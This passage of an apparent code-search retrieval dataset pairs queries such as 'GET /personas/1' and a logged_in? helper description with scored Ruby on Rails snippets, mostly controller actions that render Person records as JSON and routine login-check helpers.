"score": "0.52190435",
"text": "def collect_child_elements(memo = [])\n memo\n end",
"title": ""
},
{
"docid": "deb381898a071a610cf0eccf54e13162",
"score": "0.52190435",
"text": "def collect_child_elements(memo = [])\n memo\n end",
"title": ""
},
{
"docid": "93d84f774d5db62c778e9344ddcd788f",
"score": "0.52178335",
"text": "def find!\n @total_found = 0\n @results = nil\n return results\n end",
"title": ""
},
{
"docid": "777f65ce5effaa20b9ef1c6dd49ec7be",
"score": "0.52049613",
"text": "def children\n rows + tags\n end",
"title": ""
},
{
"docid": "8a3e9ecbe1d04a6eb61c68c390400f6f",
"score": "0.52041173",
"text": "def find_nested\n [self] + @properties.values.select {|v| v.is_a?(Mida::Item) ? v.find_nested : nil }.compact.flatten\n end",
"title": ""
},
{
"docid": "e66fa84d243ea9a4519cce96662316b0",
"score": "0.5201969",
"text": "def pageWithResults?\n return @driver.find_elements(:xpath, \".//*[@id='resultados']/ul[*]/li[1]/a\").any?\nend",
"title": ""
},
{
"docid": "67561bb998855f07d9d45d6c693c622e",
"score": "0.51972485",
"text": "def all_child_terms\n get_all_child_lists\n return @all_child_terms\n end",
"title": ""
},
{
"docid": "152e76131fba5b915981ca1a6de03d80",
"score": "0.5193328",
"text": "def children\n _children\n end",
"title": ""
},
{
"docid": "eb0b55ddb2ab1c5cadd44bc0f250c0df",
"score": "0.5190072",
"text": "def pull_out(parent_hash)\n return parent_hash[\"data\"][\"children\"]\n rescue\n return []\n end",
"title": ""
}
] |
97e459e47912311ead9a9c266c9941b5
|
GET /personas/1 GET /personas/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "297f82d105d9f3b0db2238a60540b233",
"score": "0.7634019",
"text": "def show\n @persona = Persona.find(params[:id])\n render json: @persona\n end",
"title": ""
},
{
"docid": "dbd3d788157761fda2e0a6efcd8111b7",
"score": "0.7497771",
"text": "def index\n @personas = Persona.all\n render json: @personas\n end",
"title": ""
},
{
"docid": "ea18127dd84629e499ea4e0521b506b1",
"score": "0.7398187",
"text": "def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"title": ""
},
{
"docid": "8bcfae0d53c62e2a0307ba4bc0d3d1c9",
"score": "0.7335127",
"text": "def show\n @person = Person.find(params[:id])\n render json: @person\n end",
"title": ""
},
{
"docid": "390176d60c5e7a1a8e9c74a8e4a15539",
"score": "0.73142135",
"text": "def index\n @personas = Persona.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @personas }\n end\n end",
"title": ""
},
{
"docid": "2e94f4ad5f12b31d11531ef9c362d379",
"score": "0.7263089",
"text": "def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @persona }\n end\n end",
"title": ""
},
{
"docid": "aaf5e6b68c1ff40ffbf8644cbd008924",
"score": "0.72588974",
"text": "def show\n @person = get_person(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "c0c3b0173879ad49d32b52a4247337a3",
"score": "0.7143659",
"text": "def show\n @person = Person.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "c5857bd2266acade9d3b193809ecfcda",
"score": "0.71307904",
"text": "def show\n render json: Person.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "89c52084b56415d8646844a906e734e8",
"score": "0.7127857",
"text": "def person(id)\n get(\"/people/#{id}\")\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "b410af9bd66069f1e41e1f3bba7a320a",
"score": "0.7071577",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "9d011b5f1ada9c5f2810c256c37a4d37",
"score": "0.7058033",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "7faebdbb5ae300299f2776e805bd8808",
"score": "0.70313305",
"text": "def index \n @people = Person.all\n render json: @people\n puts \"get people from index\"\n end",
"title": ""
},
{
"docid": "ac7d01dd33237855d78908c15663cf06",
"score": "0.7031188",
"text": "def index\n @person = Person.find((params[:person_id]))\n @person_addresses = PersonAddress.where(\"person_id = ?\", params[:person_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @person_addresses }\n end\n end",
"title": ""
},
{
"docid": "0354dba1e84c63b2b13b2fb6b6a803ae",
"score": "0.7021986",
"text": "def get_person_by_id(id)\n get!(base_url + \"People/#{id}.json\")\n end",
"title": ""
},
{
"docid": "cee71f982c8c20d3a069ba5038196dd7",
"score": "0.7012798",
"text": "def show\n @person = Person.friendly.find(params[:id])\n\n render json: @person\n end",
"title": ""
},
{
"docid": "dc5549fa6a62fc3c865028a017d690e4",
"score": "0.6977066",
"text": "def show\n @people = People.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "befed2cce37b479a26c8afeeab0b127e",
"score": "0.694236",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @person }\n end\n end",
"title": ""
},
{
"docid": "759fa25d1039c5f509efe6bbba67c49d",
"score": "0.69365114",
"text": "def show\n @persons_addre = PersonsAddre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persons_addre }\n end\n end",
"title": ""
},
{
"docid": "a412e03106cd64306af7d17e8bc21629",
"score": "0.6935744",
"text": "def show\n render json: [*@person]\n end",
"title": ""
},
{
"docid": "5782079ec0c0b6af8bd51e1cbe5fbb00",
"score": "0.6908591",
"text": "def show\n render json: @api_v1_person\n end",
"title": ""
},
{
"docid": "a92721e5771281e209b37f2a7310e308",
"score": "0.6903203",
"text": "def show\n\t\t\t\trender json: Person.find(params[:id])\n\t\t\tend",
"title": ""
},
{
"docid": "1e5a3a41c4a0b748cc5e7b632f83dd6e",
"score": "0.68952477",
"text": "def index\n @api_v1_people = Person.all\n render json: @api_v1_people\n end",
"title": ""
},
{
"docid": "f86c3020a2c15d3bb5acb1e1b1277a8a",
"score": "0.68564904",
"text": "def show\n @person = Person.find_by_guid!(params[:id])\n\n respond_to do |format|\n format.json { render :json => PersonPresenter.new(@person, current_user) }\n end\n end",
"title": ""
},
{
"docid": "4d3cdf34458b8d35712af760b76321a7",
"score": "0.6837078",
"text": "def person(id, params = {})\n get \"people/#{id}\", {query: params}\n end",
"title": ""
},
{
"docid": "77942ed4c8bfc310ba7b9d4b1e3e47a9",
"score": "0.6834147",
"text": "def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "77942ed4c8bfc310ba7b9d4b1e3e47a9",
"score": "0.6834147",
"text": "def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "1eef7f255c6a4dee7b3124836ff36ff4",
"score": "0.68158436",
"text": "def index\n @person = Person.find((params[:person_id]))\n @people_telephones = PeopleTelephone.where(\"person_id = ?\", params[:person_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @people_telephones }\n end\n end",
"title": ""
},
{
"docid": "eb58c58b0e5f8cd160b3ded7cf14a6dc",
"score": "0.67967385",
"text": "def show\n @person_of_interest = PersonOfInterest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_of_interest }\n end\n end",
"title": ""
},
{
"docid": "17a20e21c94e9648fc64126f93d68c5e",
"score": "0.6790736",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "1cd2422b7b5635058155239388ff4c38",
"score": "0.67545843",
"text": "def show\n @lessee = Lessee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "f48ef8d72edf59e38afc25c9c3354397",
"score": "0.6749787",
"text": "def show\n @tipo_personaje = TipoPersonaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_personaje }\n end\n end",
"title": ""
},
{
"docid": "03378e426ee4d644073445d9d3dd4dc0",
"score": "0.6737385",
"text": "def find_person(options)\n resp, data = @http.get(build_uri(options, \"find_person\"))\n if resp.code== 200\n return JSON.parse(data)\n else\n raise Exception,\"code\",resp.code\n end\n\n end",
"title": ""
},
{
"docid": "b71c55202078f53fb434f9963fa19a4e",
"score": "0.67104495",
"text": "def show\n @personality = Personality.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personality }\n end\n end",
"title": ""
},
{
"docid": "86e9458de8f61367358e344c7494299e",
"score": "0.6661441",
"text": "def index\n @people = current_user.people.order(:firstname, :lastname).page params[:page]\n \n respond_to do |format|\n format.html\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "f9943136b5eaa9b388780665d905a7e1",
"score": "0.6649097",
"text": "def index\n p \"*\" * 40\n p \"params in index method: #{params[:person_id]}\"\n @badges = @person.prizes\n render json: @badges\n end",
"title": ""
},
{
"docid": "0b7768709c4eeb23173769b434216e4d",
"score": "0.6648155",
"text": "def index\n # session[:person_id] = nil\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "e00c7e9a1c747c199b92011da2c0c13a",
"score": "0.6635794",
"text": "def index\n @persona = Persona.find(params[:persona_id])\n @domicilios = @persona.domicilioents.all\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @domicilios }\n end\n end",
"title": ""
},
{
"docid": "84382316198f3c0c0390f09ba964b063",
"score": "0.66314363",
"text": "def index\n @personas = Persona.all\n end",
"title": ""
},
{
"docid": "84382316198f3c0c0390f09ba964b063",
"score": "0.66314363",
"text": "def index\n @personas = Persona.all\n end",
"title": ""
},
{
"docid": "84382316198f3c0c0390f09ba964b063",
"score": "0.66314363",
"text": "def index\n @personas = Persona.all\n end",
"title": ""
},
{
"docid": "f34bb977d78a04a668bdebf49e89d3e6",
"score": "0.6616778",
"text": "def show\n @juridical_person = JuridicalPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @juridical_person }\n end\n end",
"title": ""
},
{
"docid": "0a3be3f4109242475f3b255667a99dbc",
"score": "0.66154474",
"text": "def show\n @group = Group.find(params[:id])\n @person = @group.people.find(params[:person_id])\n\n respond_to do |format|\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "8536889907e9355bf48fbc851ae2ab10",
"score": "0.66044515",
"text": "def show\n @admin_person = Admin::Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_person }\n end\n end",
"title": ""
},
{
"docid": "597625fe5d818dcd33f3c6d39d4415eb",
"score": "0.6588532",
"text": "def person(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"persons/#{id}\", params)\n end",
"title": ""
},
{
"docid": "0f33cc78b975a233c4d7f12b9d242886",
"score": "0.6571292",
"text": "def show\n @persona = Persona.find(params[:persona_id])\n @domicilio = @persona.domicilioents.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @domicilio }\n end\n end",
"title": ""
},
{
"docid": "1b24f8b2840ca4a596ad9f4bbf21089a",
"score": "0.6564377",
"text": "def show\n @famouspeople = FamousPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @famouspeople }\n end\n end",
"title": ""
},
{
"docid": "09be3fc1206f07272f7f1b31e924ac9d",
"score": "0.6548333",
"text": "def show\n @people = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "35da82890360dbef88098a1d52695be2",
"score": "0.6548112",
"text": "def show\n @manager_person = ManagerPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manager_person }\n end\n end",
"title": ""
},
{
"docid": "31b77ce8a9283f0cbabb61b2eeeb5ee0",
"score": "0.65279716",
"text": "def index\n @person = Person.find(params[:person_id])\n @person_types = @person.person_types\n @person_person_type_depts = PersonPersonTypeDept.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @person_person_type_depts }\n end\n end",
"title": ""
},
{
"docid": "c6b5795c12b531c84b1b8a77476c0d6d",
"score": "0.6524411",
"text": "def show\n @person_mapping = PersonMapping.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_mapping }\n end\n end",
"title": ""
},
{
"docid": "c6b5795c12b531c84b1b8a77476c0d6d",
"score": "0.6524411",
"text": "def show\n @person_mapping = PersonMapping.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_mapping }\n end\n end",
"title": ""
},
{
"docid": "6d3ff195168d917b7b4c4f355f38c01e",
"score": "0.651917",
"text": "def show\n Rails.logger.info(params)\n if params.has_key?(:id) && params.has_key?(:approved)\n @person = Search.person(params[:id], params[:approved])\n render :json => @person.to_json\n elsif params.has_key?(:id)\n @person = Search.person(params[:id], nil)\n render :json => @person.to_json\n else\n render json: {warning: 'expected id param'}, status: 200\n end\n\n end",
"title": ""
},
{
"docid": "06950c3602fa0284eaa19437a50483c3",
"score": "0.6513341",
"text": "def getPerson\n respond_to do |format|\n format.html { redirect_to pages_api_path}\n @person = Person.find(params[:id])\n format.json { render json: @person, :callback => params[:callback] }\n format.js { render json: @person, :callback => params[:callback] }\n end\n end",
"title": ""
},
{
"docid": "eb6cee64d4304e52dde9a11af9cd05b4",
"score": "0.6495798",
"text": "def people(options = {})\n query = options.slice(:page, :per_page, :include_paging_counts)\n\n response = self.class.get('/v2/people', @options.merge(query: query))\n raise \"Request failed (#{response.code})\" unless response.success?\n\n JSON.parse response, symbolize_names: true\n end",
"title": ""
},
{
"docid": "2ed804834a4fd692f41d335a6e7de3a2",
"score": "0.6495576",
"text": "def index\n # @people = Person.all\n @people = @organization.people.all\n # format.json { head :no_content}\n end",
"title": ""
},
{
"docid": "a65ea5310eb61254b0223176fb905b1a",
"score": "0.6470272",
"text": "def show\n @person = Person.load(params[:id]) # load object from TISS REST API\n end",
"title": ""
},
{
"docid": "6273365b8493c5224b02541d7abec892",
"score": "0.6454191",
"text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n post_activity nil, \"viewed person #{@person.name}\"\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "5f73f020ece0cb3c6871114bba067a03",
"score": "0.6443326",
"text": "def show\n @person_registration = PersonRegistration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_registration }\n end\n end",
"title": ""
},
{
"docid": "3d1f67258de44c46f45bcd246deeecb1",
"score": "0.6412916",
"text": "def person\n Person.find(params[:id], :include => {\n :aliases => [],\n :team => [],\n :race_numbers => [:discipline]\n })\n end",
"title": ""
},
{
"docid": "6c35dbb4293ab08243d393b0e7bc410d",
"score": "0.64081126",
"text": "def show\n @person = Person.find((params[:person_id]))\n @person_address = PersonAddress.find(params[:id])\n #Checks if the person is owner of this address\n if @person_address.person_id == @person.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @person_address}\n end\n else\n respond_to do |format|\n format.html { redirect_to person_person_addresses_path, :notice => \"Este registro não existe.\"}\n format.json { render :json => @person_address}\n end\n end\n end",
"title": ""
},
{
"docid": "073991a097ddfc408433a7f5215756d8",
"score": "0.6402858",
"text": "def index\n @people = Person.all\n authorize! :read, @people\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "d11e4fa048b921a695bb6fbb75b56c5c",
"score": "0.6400002",
"text": "def show\n username = params[:id].downcase.strip\n if username.match(/\\A[a-z]{1}[a-z0-9]{4}\\z/)\n render json: Person.find(username)\n end\n end",
"title": ""
},
{
"docid": "45d50b5de1eefba1655e80c7764c8fed",
"score": "0.63993657",
"text": "def show\n @person = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "45d50b5de1eefba1655e80c7764c8fed",
"score": "0.63993657",
"text": "def show\n @person = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "45d50b5de1eefba1655e80c7764c8fed",
"score": "0.63993657",
"text": "def show\n @person = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "45d50b5de1eefba1655e80c7764c8fed",
"score": "0.63993657",
"text": "def show\n @person = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "45d50b5de1eefba1655e80c7764c8fed",
"score": "0.63993657",
"text": "def show\n @person = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "45d50b5de1eefba1655e80c7764c8fed",
"score": "0.63993657",
"text": "def show\n @person = Person.find(params[:id])\n end",
"title": ""
},
{
"docid": "45fde787161052c379e3800478aa98aa",
"score": "0.6395005",
"text": "def retrieve(person_id)\n\t\[email protected]_one({\"person_id\" => person_id})\n\tend",
"title": ""
},
{
"docid": "a54c6d0f3cacbc73d3cf52cbcd3cac6d",
"score": "0.6378801",
"text": "def index\n if @booking\n @people = @booking.people\n else\n @people = Person.all \n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"title": ""
},
{
"docid": "41c4fd69a8c64275e5d204138ea3e2ef",
"score": "0.6372678",
"text": "def people(query = {})\n path = api_path('people')\n perform_get(path, query)\n end",
"title": ""
},
{
"docid": "a8fd5e87e34ffda6bddbd36aea9d0d81",
"score": "0.6370165",
"text": "def show\n @personal_information = PersonalInformation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_information }\n end\n end",
"title": ""
},
{
"docid": "0a5981266004c831a8aaafe045a3a3f4",
"score": "0.63692015",
"text": "def url\n \"/persons/#{id}\"\n end",
"title": ""
},
{
"docid": "cb725550c58050399196fb82682c19e2",
"score": "0.63572377",
"text": "def show\n @auth_person = Auth::Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @auth_person }\n #format.xml { render :xml => @auth_person }\n #format.json # show.json.erb\n end\n end",
"title": ""
},
{
"docid": "bb2c0b9dabac12430d5387429f3cee4c",
"score": "0.6350755",
"text": "def show\n @note = Note.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @note.to_json(:include => :person) }\n end\n end",
"title": ""
},
{
"docid": "006fd5907f5676f0e546fd91f718c689",
"score": "0.6349839",
"text": "def show\n @person = Person.find((params[:person_id]))\n @people_telephone = PeopleTelephone.find(params[:id])\n #Checks if the person is owner of this telephone\n if @people_telephone.person_id == @person.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @people_telephone }\n end\n else\n respond_to do |format|\n format.html { redirect_to person_people_telephones_path, :notice => \"Este registro não existe.\"}\n format.json { render :json => @people_telephone }\n end\n end\n end",
"title": ""
},
{
"docid": "8eb82fd0706eb81acf98defaa4f5a96f",
"score": "0.6346478",
"text": "def index\n @admin_people = Admin::Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_people }\n end\n end",
"title": ""
},
{
"docid": "75ec96c643b1feb51474aa0e88885101",
"score": "0.63422334",
"text": "def new\n @persona = Persona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persona }\n end\n end",
"title": ""
},
{
"docid": "d5c557b37c1580a15e218ed7414e786b",
"score": "0.6331441",
"text": "def show\n @type_personne = TypePersonne.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_personne }\n end\n end",
"title": ""
},
{
"docid": "c2944792319e93094b9882ceb0ef4b46",
"score": "0.6329894",
"text": "def show\r\n @authorized_person = AuthorizedPerson.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @authorized_person }\r\n end\r\n end",
"title": ""
},
{
"docid": "9ec5b0c8401caa9484b558e7fd4e1f46",
"score": "0.6327128",
"text": "def show\n @person = @organization.people.find( params[:id])\n end",
"title": ""
},
{
"docid": "15644e8b5c51d075cb1502ea580b87f7",
"score": "0.631829",
"text": "def show\n unless admin_logged_in then return end\n \n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @person }\n end\n end",
"title": ""
},
{
"docid": "e72d1f53ccf8c1a0e8ea9c0209a7faa4",
"score": "0.63098603",
"text": "def get_company\n render json: {company: Company.find(params[:id]), persons: Person.where(company_id: params[:id])}.to_json\n end",
"title": ""
},
{
"docid": "dfbbb9d655d49d10df413349a1c6ecdc",
"score": "0.6308915",
"text": "def show\n @persona = Persona.find(params[:id])\n @rants = @persona.rants.order(:created_at.desc).page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @persona }\n end\n end",
"title": ""
},
{
"docid": "627e446b37407813fc04f789ec4b86aa",
"score": "0.63008815",
"text": "def show\n @person = Person.only_public_fields.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "92859ef3ca77b16109d0e9ddb8a54821",
"score": "0.6300862",
"text": "def index\n @contact_people = ContactPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contact_people }\n end\n end",
"title": ""
},
{
"docid": "e4ced54bf18eb60737333cbad955e970",
"score": "0.62968737",
"text": "def show\n @contact_person = ContactPerson.find(params[:id])\n @contact_person_company = Client.find(@contact_person.client_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contact_person }\n end\n end",
"title": ""
}
] |
bf33f032d17e9fa328d4c4def94f2b5f
|
The plugin requires logged_in? to return true or false if the user is logged in. Uncomment and call your auth frameworks equivalent below if different. eg. for devise:
|
[
{
"docid": "2b3bec24f368a0ab6d5d1761a324ddbf",
"score": "0.74387866",
"text": "def logged_in?\n user_signed_in?\n end",
"title": ""
}
] |
[
{
"docid": "20ac395f86939b0e41a152606967d40f",
"score": "0.7890554",
"text": "def logged_in?\n !!current_auth\n end",
"title": ""
},
{
"docid": "c4fe9fe2cfa4010d87c3861c50aec87b",
"score": "0.78172666",
"text": "def logged_in?\n if current_user\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "9516958aa4361e46d07c7b420d6ad3a2",
"score": "0.7802048",
"text": "def logged_in?\n @logged_in ||= authenticate!\n end",
"title": ""
},
{
"docid": "1109dc3a007569b0533a7194b8c6f8a7",
"score": "0.7737683",
"text": "def logged_in?\n true if current_user\n end",
"title": ""
},
{
"docid": "61a433b3e749307380cc742d528c86fe",
"score": "0.7686885",
"text": "def logged_in?\n true\n end",
"title": ""
},
{
"docid": "a12a419ce70593eef5e93742a0ef9124",
"score": "0.76825815",
"text": "def logged_in?\n return true if self.current_user\n return false\n end",
"title": ""
},
{
"docid": "22ba2a6c1fd641fead2b88113346f450",
"score": "0.75797045",
"text": "def logged_in?\n current_user ? true : false\n end",
"title": ""
},
{
"docid": "22ba2a6c1fd641fead2b88113346f450",
"score": "0.75797045",
"text": "def logged_in?\n current_user ? true : false\n end",
"title": ""
},
{
"docid": "4fc24428a045d908f25b88071e1440e6",
"score": "0.75784427",
"text": "def user_signed_in?() logged_in?; end",
"title": ""
},
{
"docid": "628da8b19575dfe906f3d6bfb4a8dfdd",
"score": "0.75714105",
"text": "def if_logged_in\n logged_in?\n end",
"title": ""
},
{
"docid": "c240919c56b7a00fd26e683e4dd968b8",
"score": "0.7527037",
"text": "def logged_in?; end",
"title": ""
},
{
"docid": "b0bfa2a5e5b1da44878dd0d6b9f94542",
"score": "0.7493344",
"text": "def logged_in? \n # !!current_user either returning true or false without if statement\n if current_user #forcing current_user user object: true, or nil: false\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "2aec2d9a62ee54ccc940cb397157e58f",
"score": "0.7490503",
"text": "def logged_in?\n\t\t\t\t\ttrue\n\t\t\t\tend",
"title": ""
},
{
"docid": "6d883da370810c52980420ac1db634d5",
"score": "0.74652886",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "6d883da370810c52980420ac1db634d5",
"score": "0.74652886",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "6d883da370810c52980420ac1db634d5",
"score": "0.74652886",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "6d883da370810c52980420ac1db634d5",
"score": "0.74652886",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "6d883da370810c52980420ac1db634d5",
"score": "0.74652886",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "6d883da370810c52980420ac1db634d5",
"score": "0.74652886",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "7856bc7989b3407b3976ebd9b20fab87",
"score": "0.7462746",
"text": "def logged_in?\r\n user_signed_in?\r\n end",
"title": ""
},
{
"docid": "7856bc7989b3407b3976ebd9b20fab87",
"score": "0.7462746",
"text": "def logged_in?\r\n user_signed_in?\r\n end",
"title": ""
},
{
"docid": "71c3960628031284b10665ce512d9d95",
"score": "0.7454792",
"text": "def logged_in?\n user_signed_in?\n end",
"title": ""
},
{
"docid": "7125d704f1806bd9dc937c9ac8f2153d",
"score": "0.74316436",
"text": "def logged_in?\n user_signed_in?\n end",
"title": ""
},
{
"docid": "7125d704f1806bd9dc937c9ac8f2153d",
"score": "0.74316436",
"text": "def logged_in?\n user_signed_in?\n end",
"title": ""
},
{
"docid": "7125d704f1806bd9dc937c9ac8f2153d",
"score": "0.74316436",
"text": "def logged_in?\n user_signed_in?\n end",
"title": ""
},
{
"docid": "56eb910cf3cd271829b433394d1bc3c3",
"score": "0.74278295",
"text": "def logged_in?\n false\n end",
"title": ""
},
{
"docid": "106bb8ead8724ffde5a86d3340127cc0",
"score": "0.74228865",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "5c0957de2e754de404d54a0cf4917c2f",
"score": "0.7411113",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "5c0957de2e754de404d54a0cf4917c2f",
"score": "0.7411113",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "5c0957de2e754de404d54a0cf4917c2f",
"score": "0.7411113",
"text": "def logged_in?\n current_user\n end",
"title": ""
},
{
"docid": "03d08a9dcedfaf2b0633368e6f441696",
"score": "0.7396371",
"text": "def logged_in?\n\t\tcurrent_user\n\tend",
"title": ""
},
{
"docid": "06565e3a845bac85dabade3d6b27932c",
"score": "0.73879564",
"text": "def logged_in?\n user_signed_in?\n end",
"title": ""
},
{
